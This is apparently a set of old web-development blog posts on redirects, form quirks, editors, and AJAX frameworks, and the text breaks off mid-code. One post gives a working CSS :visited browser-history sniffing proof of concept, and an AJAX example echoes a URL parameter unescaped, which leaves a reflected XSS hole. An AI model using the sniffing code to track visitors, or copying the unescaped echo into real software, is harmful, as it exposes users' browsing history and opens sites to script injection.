HTTP Forward vs. Redirect

A Controller servlet may perform either a forward or a redirect operation at the end of processing a request. It is important to understand the difference between these two cases, in particular with respect to browser reloads of web pages.

Forward

  • a forward is performed internally by the application (servlet).
  • the browser is completely unaware that it has taken place, so its original URL remains intact
  • any browser reload of the resulting page will simple repeat the original request, with the original URL

Redirect

  • a redirect is a two step process, where the web application instructs the browser to fetch a second URL, which differs from the original
  • a browser reload of the second URL will not repeat the original request, but will rather fetch the second URL
  • redirect is marginally slower than a forward, since it requires two browser requests, not one
  • objects placed in the original request scope are not available to the second request.

There are several ways to perform a Redirect, here are a few common ones:

  • URL Redirection (HTTP 301):
    HTTP/1.1 301 moved permanently
    
    Location: http://www.example.org/
  • HTTP Refresh Header (Not Recommended)
    HTTP/1.1 200 ok
    
    Refresh: 0; url=http://www.example.com/
  • HTML <meta /> tag
    <meta http-equiv="refresh" content="0; URL=http://www.example.org/" />
  • JavaScript (many possible solutions, generally not accessible or searchable)
    <script type="text/javascript">location.href='http://www.example.org/';</script>

In general, a forward should be used if the operation can be safely repeated upon a browser reload of the resulting web page; otherwise, redirect must be used. Typically, if the operation performs an edit on the datastore, then a redirect, not a forward, is required. This is simply to avoid the possibility of inadvertently duplicating an edit to the database.

More explicitly :

  • for SELECT operations, use a forward
  • for INSERT, UPDATE, or DELETE operations, use a redirect

In HTML, a <FORM> tag can either GET or POST its data. In this context, a GET corresponds to a SELECT-then-forward, and a POST corresponds to an edit-then-redirect.

It is strongly recommended that forms for the input of search criteria should use GET, while forms for editing database records should use POST.

SECURITY NOTE: When using GET, be sure to not expose sensitive data in the URL’s.

Single FORM INPUT causes submit on Enter/Return

This is a browser oddity that I’ve had to code around for years.  In most modern browsers (currently Mozilla Firefox 2.x and MSIE 7.0), when a FORM contains only one editable INPUT field pressing the Enter or Return key will automatically submit the form, but when there are more than one the form is not submitted.   This irregularity in the single field case is responsible for several odd errors, and often results in double-submits of form data to the server.

Here’s a newer solution to the problem, the ‘magic’ is in the javascript events that we’ve added to the FORM object itself, no longer do you have to place event handlers on every INPUT field as has often been done in the past.

NOTE: not completely valid XHTML for ease of documentation and readability.

<html>
<head>
<title>test of input submit</title>
<script type=”text/javascript”>
function keycheckForm(formObj,evt){
if(isEnter(evt)){
//alert(‘in form’);
if(checkFormInputs(formObj)){
formObj.submit();
}
}
}
/*
* Added to handle enter key press
* NOTE: this is based on  a ‘legacy’ function [checkEnter(e)] that returned the reverse boolean values.
* @param evt Event
* @return boolean
*/
function isEnter(evt){ //e is event object passed from function invocation
var characterCode; //literal character code will be stored in this variable
if(evt && evt.which){ //if which property of event object is supported (NN4)
characterCode = evt.which; //character code is contained in NN4’s which property
}else{
characterCode = evt.keyCode; //character code is contained in IE’s keyCode property
}
var rc = false;
if(characterCode == 13){ //if generated character code is equal to ascii 13 (if enter key)
rc = true;
}
return rc;
}
/**
* @param formObj Object
*/
function checkFormInputs(formObj){
var rc = false;
var allInputs=formObj.getElementsByTagName(‘INPUT’);
var formInputs = allInputs.length;
var textInputs=0;
if(formInputs>1){
var ct = allInputs.length;
var i;
for(i=0; i < ct; i++){
var inputObj = allInputs[i];
var typ = inputObj.type;
if ((typ==’text’) || (typ==’password’)) {
textInputs=textInputs+1;
}
}
if(textInputs>1){
rc=true;
}
}
if(rc==false){
//alert(“blocked because of size”);
}
return rc;
}
</script>
</head>
<body>
<form action=”example.php” method=”get” onkeypress=”return keycheckForm(this,event);” onsubmit=”return checkFormInputs(this);”>
<input type=”text” name=”textfield1″ value=”testing1″ />
<button type=”button” name=”mybutton” onclick=”this.form.submit();”>Click Me</button>
</form>
</body>
</html>

Cheers!

UTF-8 (BOM) prevents java compilation

I had an adventure tracking this one down lately, it seems that if your IDE saves files as UTF-8, the java compiler can’t always resolve the files.

Here’s the errors from the console output:

[INFO] ————————————————————————
[ERROR] BUILD FAILURE
[INFO] ————————————————————————
[INFO] Compilation failure

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,0] ‘class’ or ‘interface’ expected

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,1] illegal character: \187

C:\Sandbox\Jars\example.jar\src\main\java\com\giantgeek\Example.java:[1,2] illegal character: \191

Those character codes (\187 \191) may look a little familiar to some people, as they represent the Byte Order Mark (BOM) that prefixes a UTF-8 formatted file. If you look at them in a file editor (or text editor that doesn’t interpret UTF-8) they will look odd.

They look like “an i (two dots over), double right arrow, upside down question mark”.

Simple solution is to re-edit and save the file as ISO-8859-1.

An alternate approach that is available in some instances is to use the arguments to javac to allow the file encoding.

References:

Cheers!

Open Source Text Editors

As an old UNIX developer, I spent a significant portion of my work experience using VI, as my development environment became more focused on Windows, I used Homesite for developing text formatted documents. I’ve found that the current offerings from Eclipse and other IDE’s are notoriously bad at displaying the source of many document types, particularly JSP, HTML, XML, JAVA, JS and CSS files; where you often want to see exactly how a document is structured. Additional spaces, tabs and carriage returns can cause display formatting issues and wasted bandwidth in many cases.

Many of my peers are fans of TextPad, but I’ve found Notepad++ to be quite up to the task:

  • it is available for Windows and LINUX
  • supports auto-formatting of many text file types
  • can ‘replace’ the default Source-HTML viewer in MSIE.

http://notepad-plus.sourceforge.net

Happy coding!

Open Source File Compression Software

For years I was an advocate of PKZip and WinZip (That I own a “floppy” disk of), but after discovering the advantages and freedom of open-source, I discovered 7Zip.

7-Zip is a file archiver with the high compression ratio. The program supports 7z, ZIP, CAB, RAR, ARJ, LZH, CHM, GZIP, BZIP2, Z, TAR, CPIO, RPM and DEB formats.

While it’s only available on Windows, similar software is native on most other Operating Systems, Microsoft added only meager support in Windows XP (which in fact often crashes machines).

References:

Version Control comments

When working on large, multi-group projects I’ve found that it often helps to have information about the ‘version’ of an asset written into the source file (HTML, JSP, PHP, CSS, JS, or other ‘text’ formats).

This is easily accomplished with most version control packages and is done automatically if the following are added inside of an appropriate comment section in the file. The below examples are Java based, but can be easily adopted to any file type.

This is especially helpful when reviewing JavaDoc, and crucial for deployed text files such as CSS and JS as it makes debugging them much easier.

These work with CVS, Subversion, Serena Changeman DS, MKS Source Integrity and a variety of other products.

Raw Source:

/*
$Id: $
$Author: $
$Revision: $
$Date: $

<pre>
$Log: $
</pre>
*/

At check-in becomes:

/*
$Id: project.readme 1.1 2007/07/30 10:42:39CDT Scott dev $
$Author: Scott $
$Revision: 1.1 $
$Date: 2007/07/30 10:42:39CDT $

<pre>
$Log: project.readme $
Revision 1.1 2007/07/30 10:42:39CDT Scott
Scott. test
</pre>
*/

Cheers!

Open Source Image Editing Software

I’m usually a considered by most to be just a “programmer”, but occasionally the need comes up for someone to edit or create an image for a project. I might not be a designer, but I still need similar tools to accomplish this, but can’t justify the cost of Adobe Photoshop & Illustrator.

Here are some great (if not better) alternatives that are FREE and available on a variety of operating systems, not just Windows and Apple Macintosh.

GIMP – is an acronym for GNU Image Manipulation Program. It is suitable for a variety of image manipulation tasks, including photo retouching, image composition, and image construction.

Currently Supports:

  • GIF, JPEG, PNG, XPM, TIFF, TGA, MPEG, PS, PDF, PCX, BMP and many others.

It has many capabilities. It can be used as a simple paint program, an expert quality photo retouching program, an online batch processing system, a mass production image renderer, an image format converter, etc.

Inkscape – is an open-source vector graphics editor similar to Adobe Illustrator, Corel Draw, Freehand, or Xara X. What sets it apart is it’s native use of Scalable Vector Graphics (SVG), an open XML-based W3C standard.

Currently supports:

  • opening only SVG and SVGZ (gzipped SVG) formats.
  • save as SVG, SVGZ, Postscript/EPS/EPSi, Adobe Illustrator (*.ai), LaTeX (*.tex), and POVRay (*.pov).
  • import most raster formats (JPG, PNG, GIF, etc.) as bitmap images, but it can only export PNG bitmaps.
  • With the help of extensions, Inkscape can open/save as PDF, EPS, AI, Dia, Sketch and some others.

Together this suite can tackle most work that previously required costly software that isn’t available on many Operating Systems.

Happy drawing!

Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!

Dynamic Site Navigation with AJAX

Recently a navigation challenge that I encountered was “better” resolved by implementing an AJAX “like” solution. While not a complete AJAX solution, this works by requesting and inserting HTML into the DOM dynamically. The HTML could even be the same content that is used when the page was initially generated allowing for the initial page render to be static HTML, and only the options to be dynamic.

This is an extension on my previous ‘Flexible AJAX Framework’ entry and adds the following features and methods:

  • Two column example page layout.
  • Page level caching of AJAX Responses.
  • JavaScript methods:
    • var pageLoadTime; – variable for page level caching.
    • function ajaxObjPageCache(obj,url,async,callback) – method for page level caching.
    • function menuAjaxHook(obj,customObj); – response handler that updates UI.
    • function xinnerHTML(id,txt); – this is a common component used by the example.
    • function testAjaxMenu(obj,menu); – test method for example.

The full example (in PHP) follows:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>AJAX Menu Example</title>
<script type="text/javascript">
var xbusy = true;
var xhr = null;
var otherHost = "http://example.giantgeek.com"; // do not use training slash!
var pageLoadTime = xmillis();// set this once per page for some caching solutions!
/**
* Check for existance on DOM browsers (Mozilla, etc.)
* @return xhr
*/
function ajaxCheckDOM(){
var myxhr = null;
if(window.XMLHttpRequest) {
try {
myxhr = new XMLHttpRequest();
}
catch(e) {}
}
return myxhr;
}
/**
* Check for existance on Windows/MSIE (prior to MSIE7 which is now DOM)
* Evaluate using - new ActiveXObject("Microsoft.XMLDOM");
* @return xhr
*/
function ajaxCheckActiveX(){
var myxhr = null;
//if(window.ActiveXObject){
try {
myxhr = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
myxhr = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {}
}
//}
return myxhr;
}
/**
* This is a default response hook for AJAX, you SHOULD create your own as it's only for DEMO
* @param obj - the clicked item
* @param customObj - user defined
*/
function ajaxResponseHook(obj,customObj){
var txt = xhr.responseText;// NOTE: xhr.responseXML is also valid
popStatus('AJAX Response value [' + txt + '|' + customObj +']','');
}
/**
* This is a common Response handler AJAX, you SHOULD NOT need to modify, use a 'custom' ajaxhook function to process the responses.
* @param obj - the clicked item
* @param ajaxhook Function (default will be used if undefined)
* @param customObj (optional - left for developer implementation, passed to the ajaxhook)
*/
function ajaxResponse(obj,ajaxhook,customObj){
var status='';
if(xhr!=undefined){
var state=xhr.readyState;
if(state!=undefined){
if(state==4){
var code = xhr.status;
status = xhr.statusText;
if(code==200){
popStatus('AJAX Response Received.','');
if(ajaxhook==undefined){
ajaxhook = function(){ ajaxResponseHook(obj,customObj); }
}
ajaxhook(obj,customObj);
ajaxBusy(obj,false);
} else {
popStatus('AJAX Error ' + code + ' ' + status + '.','');
}
ajaxBusy(obj,false);
xhr=null; /* MSIE6 leak fix */
}
}
}
}
/**
* NOTE: MSIE6-7 supports XSS url's (be careful!)
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObj(obj,url,async,callback){
if(xbusy == true){
popStatus('AJAX BUSY, Please Retry.','');
} else {
if(callback==undefined){
callback = function(){ ajaxResponse(obj,hook,''); }
}
ajaxInit(obj,url,async,callback);
}
}
/**
* This is a Non-Caching implementation of ajaxObj() to show how you can avoid the MSIE caching issue.
* NOTE: You can use similar approaches to cache per page or session.
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObjNoCache(obj,url,async,callback){
var cacheBuster=uniqueUrl(url);// damn MSIE!
ajaxObj(obj,cacheBuster,async,callback)
}
/**
* This is a Page-Caching implementation of ajaxObj() to allow for requests to be cached per pageload.
* @param obj - the clicked item
* @param url - the GET url params (FQDN)
* @param async (true or false) - false will LOCK browser until response - use cautiously!
* @param callback Function - allows for customized response handling
*/
function ajaxObjPageCache(obj,url,async,callback){
var cacheBuster=urlAppender(url,'.cache',pageLoadTime); // pageLoadTime should remain unchanged for page life.
ajaxObj(obj,cacheBuster,async,callback)
}
/**
* Initializes the AJAX operation
* @param obj - item clicked
* @param url - FQDN
* @param async (true/false) - for locking
* @param callback Function - provided for customization.
*/
function ajaxInit(obj,url,async,callback){
xhr=ajaxCheckDOM();
if(!xhr){
xhr=ajaxCheckActiveX();
}
if(xhr){
ajaxBusy(obj,true);
popStatus('AJAX Start.','');
xhr.onreadystatechange = callback; // method call
try {
xhr.open('GET',url,async); /* POST */
//xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(''); /* null */
}
catch(e)
{
if(xhr){
var code = xhr.status;
var status = xhr.statusText;
popStatus('AJAX Client SECURITY ' + navigator.appName +' '+ navigator.appVersion + ' ' + code + ' ' + status + '.','');
}
}
ajaxBusy(obj,false);
} else {
popStatus('AJAX Client ERROR.','');
}
}
function ajaxBusy(obj,yn){
if(yn){
swapStyleObj(obj,'idle','busy');
} else {
swapStyleObj(obj,'busy','idle');
}
xbusyInd(yn,'');
}
function xmillis(){
return new Date().getTime();
}
function swapStyleObj(obj,oldCSS,newCSS){
if(obj!=undefined) {
var current=obj.className;
if(current!=undefined){
var txtOld = current.replace(newCSS,' ');//no doubles
var txtMid = txtOld.replace(oldCSS, ' ');
var txtNew = (txtMid + ' ' + newCSS);
obj.className = txtNew;
} else {
obj.className = newCSS;
}
}
}
function xbusyInd(valnew, msg){
xbusy = valnew;
if(xbusy==true){
document.body.style.cursor='wait';
if(msg != ''){
top.window.defaultStatus=msg;
popStatus(msg,'');
}
showDiv('throbber');
//blockScreen();
} else {
document.body.style.cursor='default';
hideDiv('throbber');
//unBlockScreen();
}
}
function showDiv(id) { //show a div
var obj=xgetHelper(id);
if(obj!=null){ obj.style.display="block";}
//xrestart();
}
function hideDiv(id) { //hide a div
var obj=xgetHelper(id);
if(obj!=null){ obj.style.display="none";}
//xrestart();
}
function popStatus(txt,title){
popit('statusdyn','statusarrow','statusul','statusdiv',txt,false,title,'');
}
function popit(dynId,arrowId,ulId,divId,txt,expand,title,cssCls){
popText(ulId,txt,title,cssCls);
showDiv(divId);
if(expand == true){
var arrowObj=xgetHelper(arrowId); if(arrowObj!=null){ arrowObj.style.backgroundPosition='2px -106px'; }
showDiv(dynId);
}
}
function popText(id,txt,title,cssCls){
var obj = xgetHelper(id);
if(obj != null){
var oldHTML = obj.innerHTML;
var cls=''; if(cssCls!=''){ cls=' class="' + cls +'"'; }
var htm = '<'+'li'+ cls +'>' + txt + '<'+'/'+'li'+'>' + oldHTML;
obj.innerHTML = htm;
}
}
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function arrowTog(objectID,arrow) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') {
arrow.style.backgroundPosition = '2px -21px';}
else {arrow.style.backgroundPosition = '2px -106px';}
objTog(objectID);
}
return false;
}
function objTog(objectID) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') obj.style.display='none';
else {obj.style.display='block';}
}
return false;
}
function headTog(objectID,arrow) {
var obj = xgetHelper(objectID);
if(obj!=null){
if (obj.style.display =='block') {
arrow.style.borderBottomWidth = '1px';}
else {arrow.style.borderBottomWidth = '0px';}
arrowTog(objectID,arrow);
}
return false;
}
/*
* adds timestamp to URLs to make them unique
* @param URL String
*/
function uniqueUrl(x){
return urlAppender(x,'.cache',xmillis());
}
/*
* helps to add parms to the url
* @param URL String
* @param aname String
* @param avalue String
*/
function urlAppender(x,aname,avalue){
var delim = "?";
if(x.indexOf("?") >=0) { delim = "&"; }
return x + delim + aname + '=' + avalue;
}
function xload(){
hideDiv('throbber');
xbusy=false;
}
function testAjax(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjax'); }
var x = ajaxObjNoCache(obj,'/ajax.php',true,callback);
}
function testAjaxParms(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjaxParms'); }
var x = ajaxObjNoCache(obj,'/ajax.php?testing=Y',true,callback);
}
function testAjaxXSS(obj){
var callback=function(){ ajaxResponse(obj,null,'testAjaxXSS'); }
var x = ajaxObjNoCache(obj,otherHost+'/ajax.php',true,callback,otherHost);
}
function testAjaxHook(obj){
var hook=function(){ customAjaxHook(obj,'ajaxhookTestMessageObect'); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHook'); }
var x = ajaxObjNoCache(obj,'/ajax.php',true,callback);
}
function testAjaxHookXSS(obj){
var hook=function(){ customAjaxHook(obj,'ajaxhookXSSMessageObect'); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHookXSS'); }
var x = ajaxObjNoCache(obj,otherHost+'/ajax.php',true,callback);
}
function testAjaxMenu(obj,menu){
var mms_start=xmillis();
var hook=function(){ menuAjaxHook(obj,mms_start); }
var callback=function(){ ajaxResponse(obj,hook,'testAjaxHookXSS'); }
var x = ajaxObjPageCache(obj,'/ajaxmenu.php?menu='+menu,true,callback);
}
/**
* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)
* @param obj - the clicked item
* @param customObj - user defined
*/
function menuAjaxHook(obj,customObj){
var diff = xmillis() - customObj; // difference from click to now!
popStatus('AJAX Menu Response time [' + diff +'mms]','');
var htm = xhr.responseText;// NOTE: xhr.responseXMLis also valid
xinnerHTML('menu',htm);
}
/**
* This is a custom implemenation, the customObj COULD be used for anything (perhaps delay measurement!)
* @param obj - the clicked item
* @param customObj - user defined
*/
function customAjaxHook(obj,customObj){
var xml = xhr.responseXML;// NOTE: xhr.responseText is also valid
var tmp = 'DEMO customAjaxHook [' + customObj + ']\n' + xml;
alert(tmp);
}
function xinnerHTML(id,txt){
var obj = xgetHelper(id);
if(obj!=null){
if((txt != null) && (txt != "")){
obj.innerHTML = txt;
}
}
}
</script>
<style type="text/css">
div#container {position:absolute;top:0;left:0;padding-right:10px;}
div#nav_col {position:absolute;left:0;
float:left;
width:140px;padding-left:7px;
}
div#container > div#nav_col {position:relative;}

div#main {margin-left:160px;border:1px dotted #fff;/*vertical-align:top; causes table gaps bug*/
width:99.9%;
voice-family: “\”}\””;
voice-family:inherit;
width:auto;}
.busy { color:red; }
.idle { color:black; }
</style>
</head>
<body onload=”xload();”><!– onbeforeunload=”alert(‘before’);” onunload=”alert(‘after’);” –>
<div id=”throbber”>WORKING!</div>
<div id=”container”>
<div id=”nav_col”>
<div id=”menu”>EMPTY Menu</div>
</div>
<div id=”main”>
<div id=”statusdiv” class=”dyn” style=”display:none;”>
<h3><a id=”statusarrow” onclick=”headTog(‘statusdyn’,this);” href=”javascript:void(0);”>Status</a></h3>
<fieldset id=”statusdyn” style=”display:block;background-color:#ffffcc;”>
<div id=”statusBox” class=”box”>
<ul id=”statusul” class=”error”>
<li id=”ajaxStatus” style=”list-style:none;display:none;”>FILLER</li>
</ul>
</div>
</fieldset>
</div>
<h3><a href=”javascript:void(0);” onclick=”testAjax(this);”>TEST</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxParms(this);”>TESTPARMS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxXSS(this);”>TESTXSS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxHook(this);”>TESTHOOK</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxHookXSS(this);”>TESTHOOKXSS</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxMenu(this,’ACCT’);”>TESTMenuACCT</a></h3>
<h3><a href=”javascript:void(0);” onclick=”testAjaxMenu(this,’USER’);”>TESTMenuUSER</a></h3>
<p><a href=”index.php”>RELOAD</a></p>
</div><!– main –>
</div><!– container –>
</body>
</html>

ajax.php – for the original test code:

<?php
//header("Cache-Control: no-store");
header("Charset: UTF-8");
header("Content-Type: text/xml");
echo("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
?>
<test><?php echo( gmdate("D, d M Y H:i:s") ) ?> </test>

ajaxmenu.php – example menu behavior:

<?php
//header("Cache-Control: no-store");
header("Charset: UTF-8");
header("Content-Type: text/html");
?>
<ul>
<li>MENU:</li>
<li><?php echo($_GET['menu']) ?> </li>
<li><?php echo( gmdate("D, d M Y H:i:s") ) ?> </li>
</ul>

Cheers!

A Flexible AJAX Framework

AJAX = Asyncronous (but not always), JavaScript, XML (Text or JSON). These technologies have been around almost as long as the Internet itself, but have only recently been used together to change the way that web applications are built.

XMLHTTPRequest is an API used mainly by browser-based Javascript applications to send and retrieve data from servers. It was developed originally by Microsoft for Exchange Server’s Outlook Web Access, but it has since been widely supported in browsers and is the heart of AJAX dynamic Web applications.

I’ve messed with many of the frameworks available online, and while they are very good, I’ve routinely found issues or features that they lack. Over time I’ve cobbled together my own framework, I fully expect this to change over time, but publish it here for your consideration!

The XSS methods (and “otherHost” variable) are provided as MSIE6 allows for Cross-site Scripting here. MSIE7 and Mozilla will indicate errors if connections are attempted to a ‘non-originating host’. I’ve exploited this vulnerability in a few applications, as such I provide the test for you too!

NOTE: The example response program is written in PHP, but should be easily ported to any other language.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<title>AJAX Example</title>

<script type=”text/javascript”>

var xbusy = true;

var otherHost = ‘http://www.giantgeek.com’; // DO NOT USE the ending slash!

var xhr = null;

/**

* Check for existance on DOM browsers (Mozilla, etc.)

* @return xhr

*/

function ajaxCheckDOM(){

var myxhr = null;

if(window.XMLHttpRequest) {

try {

myxhr = new XMLHttpRequest();

}

catch(e) {}

}

return myxhr;

}

/**

* Check for existance on Windows/MSIE (prior to MSIE7 which is now DOM)

* Evaluate using – new ActiveXObject(“Microsoft.XMLDOM”);

* @return xhr

*/

function ajaxCheckActiveX(){

var myxhr = null;

//if(window.ActiveXObject){

try {

myxhr = new ActiveXObject(“Msxml2.XMLHTTP”);

}

catch(e) {

try {

myxhr = new ActiveXObject(“Microsoft.XMLHTTP”);

}

catch(e) {}

}

//}

return myxhr;

}

/**

* This is a default response hook for AJAX, you SHOULD create your own as it’s only for DEMO

* @param obj – the clicked item

* @param customObj – user defined

*/

function ajaxResponseHook(obj,customObj){

var txt = xhr.responseText;// NOTE: xhr.responseXML is also valid

popStatus(‘AJAX Response value [‘ + txt + ‘|’ + customObj +’]’,”);

}

/**

* This is a common Response handler AJAX, you SHOULD NOT need to modify, use a ‘custom’ ajaxhook function to process the responses.

* @param obj – the clicked item

* @param ajaxhook Function (default will be used if undefined)

* @param customObj (optional – left for developer implementation, passed to the ajaxhook)

*/

function ajaxResponse(obj,ajaxhook,customObj){

var status=”;

if(xhr!=undefined){

var state=xhr.readyState;

if(state!=undefined){

if(state==4){

var code = xhr.status;

status = xhr.statusText;

if(code==200){

popStatus(‘AJAX Response Received.’,”);

if(ajaxhook==undefined){

ajaxhook = function(){ ajaxResponseHook(obj,customObj); }

}

ajaxhook(obj,customObj);

ajaxBusy(obj,false);

} else {

popStatus(‘AJAX Error ‘ + code + ‘ ‘ + status + ‘.’,”);

}

ajaxBusy(obj,false);

xhr=null; /* MSIE6 leak fix */

}

}

}

}

/**

* NOTE: MSIE6-7 supports XSS url’s (be careful!)

* @param obj – the clicked item

* @param url – the GET url params (FQDN)

* @param async (true or false) – false will LOCK browser until response – use cautiously!

* @param callback Function – allows for customized response handling

*/

function ajaxObj(obj,url,async,callback){

if(xbusy == true){

popStatus(‘AJAX BUSY, Please Retry.’,”);

} else {

if(callback==undefined){

callback = function(){ ajaxResponse(obj,hook,”); }

}

ajaxInit(obj,url,async,callback);

}

}

/**

* This is a Non-Caching implementation of ajaxObj() to show how you can avoid the MSIE caching issue.

* NOTE: You can use similar approaches to cache per page or session.

* @param obj – the clicked item

* @param url – the GET url params (FQDN)

* @param async (true or false) – false will LOCK browser until response – use cautiously!

* @param callback Function – allows for customized response handling

*/

function ajaxObjNoCache(obj,url,async,callback){

var cacheBuster=uniqueUrl(url);// damn MSIE!

ajaxObj(obj,cacheBuster,async,callback)

}

/**

* Initializes the AJAX operation

* @param obj – item clicked

* @param url – FQDN

* @param async (true/false) – for locking

* @param callback Function – provided for customization.

*/

function ajaxInit(obj,url,async,callback){

xhr=ajaxCheckDOM();

if(!xhr){

xhr=ajaxCheckActiveX();

}

if(xhr){

ajaxBusy(obj,true);

popStatus(‘AJAX Start.’,”);

xhr.onreadystatechange = callback; // method call

try {

xhr.open(‘GET’,url,async); /* POST */

